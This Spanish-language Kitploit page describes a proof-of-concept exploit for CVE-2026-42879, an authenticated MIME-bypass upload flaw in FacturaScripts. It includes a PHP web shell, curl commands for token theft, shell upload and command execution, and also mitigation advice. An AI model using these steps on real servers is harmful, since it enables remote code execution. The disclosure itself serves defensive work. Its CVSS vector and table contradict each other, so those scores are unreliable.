Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42879 — FacturaScripts RCE Exploit - Prueba de Concepto | Kitploit
Herramientas/GitHubGitHub/guzrex/cve-2026-42879
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubguzrex/cve-2026-42879

CVE-2026-42879

FacturaScripts RCE Exploit - Prueba de Concepto

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42879 - FacturaScripts - Carga de Archivos Sin Restricciones Autenticada mediante Bypass de Tipo MIME

Resumen

Existe una vulnerabilidad de carga de archivos sin restricciones autenticada en la funcionalidad de carga de imágenes de productos de FacturaScripts. Un atacante con credenciales válidas puede cargar un archivo PHP disfrazado como imagen GIF (usando una cabecera GIF89a), evadiendo la validación del tipo MIME. El archivo se almacena con su extensión original, incluyendo extensiones ejecutables como .php.


Detalles

La vulnerabilidad existe en:

Core/Lib/ExtendedController/ProductImagesTrait.php

Específicamente en el método addImageAction().

Código Vulnerable

root@kitploit:~
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}

$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
Descargar herramienta

Causa Raíz

  • La validación solo comprueba si el tipo MIME contiene "image/"
  • Esto se puede evadir anteponiendo bytes mágicos GIF89a a un archivo PHP
  • El sistema identifica incorrectamente el archivo como image/gif
  • El archivo se guarda con una extensión .php en un directorio accesible desde la web

Comportamiento de Almacenamiento de Archivos

Los archivos cargados se almacenan en:

root@kitploit:~
/MyFiles/YYYY/MM/X.php

Donde X es un ID autoincremental. Esto permite la ejecución remota directa:

root@kitploit:~
http://target/MyFiles/2026/03/2.php?cmd=id

Impacto

La explotación exitosa permite:

Un atacante puede cargar archivos con extensiones ejecutables (por ejemplo, .php) al servidor, lo que dependiendo de la configuración del servidor podría conducir a una explotación adicional.


Prueba de Concepto (Manual)

Paso 1: Crear archivo malicioso

root@kitploit:~
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

Paso 2: Autenticarse

  • Inicie sesión en la aplicación
  • Extraiga PHPSESSID de las cookies del navegador

Paso 3: Obtener token CSRF

root@kitploit:~
curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

Paso 4: Subir el shell

root@kitploit:~
curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[][email protected]"

Paso 5: Ejecutar comando

root@kitploit:~
curl "http://target/MyFiles/2026/03/2.php?cmd=id"

CVSS v3.1

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N Puntuación Base: 6.3 (Moderada)

MétricaValor
Vector de AtaqueRed (AV:N)
Complejidad de AtaqueBaja (AC:L)
Privilegios RequeridosBajos (PR:L)
Interacción del UsuarioNinguna (UI:N)
AlcanceCambiado (S:C)
ConfidencialidadAlta (C:H)
IntegridadAlta (I:H)
DisponibilidadAlta (A:H)

CWE

  • CWE-434: Carga Sin Restricciones de Archivos con Tipo Peligroso

Productos Afectados

CampoValor
EcosistemaPackagist
ID CVECVE-2026-42879
Nombre del Paquetefacturascripts/facturascripts
Versiones Afectadas<= 2025.81
Versiones ParcheadasAún no parcheado
Corregido enPendiente

Recomendaciones de Mitigación

  1. Validar la extensión del archivo — rechazar cualquier carga donde el nombre del archivo termine en .php, .phtml, .phar u otras extensiones ejecutables, independientemente del tipo MIME
  2. Regenerar nombres de archivo en el servidor — nunca usar getClientOriginalName(); asignar un nombre seguro basado en UUID con una extensión validada
  3. Almacenar las cargas fuera de la raíz web — servir los archivos a través de un controlador que transmita el contenido, evitando la ejecución directa por URL
  4. Usar una biblioteca de tipos de archivo — validar el contenido real del archivo (bytes mágicos + extensión + tipo MIME) con una biblioteca como fileinfo en lugar de confiar en el MIME proporcionado por el cliente

Créditos

  • Descubridor: Abdullah Alwasabei / Guzrex